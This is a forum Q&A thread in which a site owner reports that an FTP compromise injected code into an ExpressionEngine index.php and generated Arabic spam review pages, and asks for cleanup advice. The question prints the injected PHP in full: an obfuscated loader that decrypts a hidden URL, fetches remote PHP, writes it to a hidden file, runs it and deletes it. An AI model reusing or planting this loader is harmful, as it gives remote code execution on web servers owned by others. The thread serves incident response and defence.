0

I'm posting this in case any advice helps others who've suffered a similar hack. AFAIK the hack involves compromised FTP access only. index.php of EE v2.10.2 was modified and a couple of new subdirectories containing generated files were created within a web-accessible directory. No database or system directory access. All code was removed and I reset hosting account, FTP and database passwords following discovery.

  • Any comments on further best practice in EE following an FTP hack like this?
  • Suggestions on what the code does - some kind of automated review submission?

The generated files contained mostly Arabic and look like:

    <"forexarabica|<div itemscope="" itemtype="http://schema.org/Product">
    <span itemprop="name">خيار ثنائي مراجعة الروبوت يوتيوب rating</span>
    <div itemprop="aggregateRating" itemscope="" itemtype="http://schema.org/AggregateRating">
    <span itemprop="ratingValue">5-5</span> stars based on
    <span itemprop="reviewCount">126</span> reviews
    </div>
    </div>
[lots of Arabic in paragraphs plus some random URLs]

The code found at the top of index.php was:

<?php
@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5'; $pass = "Zgc5c4MXrLskZVkZ9Y1BPrCRP1WUNbhY3iKMG+/NuQE=";
if (ini_get('allow_url_fopen')) {
    function get_data_ya($url) {
        $data = file_get_contents($url);
        return $data;
    }
}
else {
    function get_data_ya($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
function wp_cd($fd, $fa="")
{
   $fe = "wp_frmfunct";
   $len = strlen($fd);
   $ff = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($ff)<$len )
   {
      $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
   }
   return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
    if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
    $subdirs = glob("$dira/*", GLOB_ONLYDIR);
    foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
    }
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}
?>
  • Use SFTP and SSH keys. – Jim Wyse Jul 12 '17 at 13:19
  • Have you had your hosting co. investigate? If it's shared it may be a server wide hack and not particular to your install. – Romans-8---31-39 Jul 12 '17 at 14:59
  • Hosting co said that my local machine must have been compromised. I asked them: "How can you be so sure it's malware on my machine?" "Because if you try to login to your control panel a few times unsuccessfully you will be locked out. For an FTP account you can try as many times as you want but it's rather hard to just brute force a password. All of your passwords are encrypted on our side and we have not had any reports of hacking attempts on our servers. If our servers are ever compromised you will be informed and all of your credentials will be changed for your security." – Kenny Fraser Jul 12 '17 at 17:43
  • This account doesn't offer SFTP. – Kenny Fraser Jul 12 '17 at 17:45
  • Sorry - yes it does but had just been using standard FTP. – Kenny Fraser Jul 12 '17 at 17:56
2

Yes my suspicions (and prior experience) have been that this hack originated on the server. My machine (Mac OSX) is clean and I look after passwords carefully. The function wp_cd in the code above suggests a WordPress-targetted attack, not EE.

For the host to say "we have not had any reports of hacking attempts on our servers" and not to treat my report as such is irresponsible. I'll be moving host at the next opportunity and making SFTP / SSH my default connection method. Andrew Weaver and I have established that the hosting company suffering these attacks is the same one, that we both use. Hosts can only stand to lose trust and hence customers if they don't admit liability when they should.

After all the reset of passwords and virus scan of my machine early yesterday, I checked the server files again today. The same hack had been applied again late last night...

| improve this answer | |
  • Did you manage to secure the site and if so how did you do it? Thanks – Navid Hamzeloo Oct 17 '17 at 9:42
  • As the site was hosted on a shared server and we had no control of the overall server security we had no option but to move hosts. – Kenny Fraser Oct 18 '17 at 18:55

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.